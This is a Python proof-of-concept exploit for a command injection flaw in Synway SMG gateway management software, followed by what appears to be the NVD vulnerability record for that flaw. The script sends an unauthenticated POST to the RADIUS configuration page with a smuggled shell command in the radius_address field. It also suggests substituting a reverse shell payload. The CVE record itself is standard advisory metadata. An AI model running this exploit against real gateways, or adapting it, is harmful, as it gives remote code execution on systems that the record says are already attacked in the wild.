CVE-2025-71284

import requests def exploit(target_url): """ PoC for CVE-2025-71284 - OS Command Injection in Synway SMG """ url = f"{target_url}/en/9-2radius.php" # Injecting a simple command to create a file or ping (example) payload = "127.0.0.1; touch /tmp/poc_success; #" data = { "radius_address": payload, "radius_address2": "127.0.0.1", "shared_secret2": "testing", "source_ip": "127.0.0.1", "timeout": "5", "retry": "3", "save": "1", "enable_radius": "1" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {url}") print(f"[+] Payload: {payload}") print("[+] Check if the file /tmp/poc_success was created or use a reverse shell payload.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2025-71284", "sourceIdentifier": "[email protected]", "published": "2026-04-30T17:16:25.630", "lastModified": "2026-05-05T18:09:10.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Synway SMG Gateway Management Software contains an OS command injection vulnerability in the RADIUS configuration endpoint at /en/9-2radius.php where the radius_address POST parameter is split and interpolated directly into a sed command without sanitization. An unauthenticated remote attacker can inject arbitrary shell commands by submitting a POST request with crafted radius_address, radius_address2, shared_secret2, source_ip, timeout, or retry parameters along with save=1 and enable_radius=1 to achieve remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-07-11 (UTC)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synway:smg_gateway_management_software:-:*:*:*:*:*:*:*", "matchCriteriaId": "55304276-DAF7-4BD2-97D2-CA3B604A6318"}]}]}], "references": [{"url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/synway/synwaysmg-radius-rce.yaml", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://mp.weixin.qq.com/s/PyepoFSuQ63E3RnpQa9nsA", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://mrxn.net/jswz/synway-9-2radius-rce.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.synway.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/synway-smg-gateway-management-software-os-command-injection-via-radius-address", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}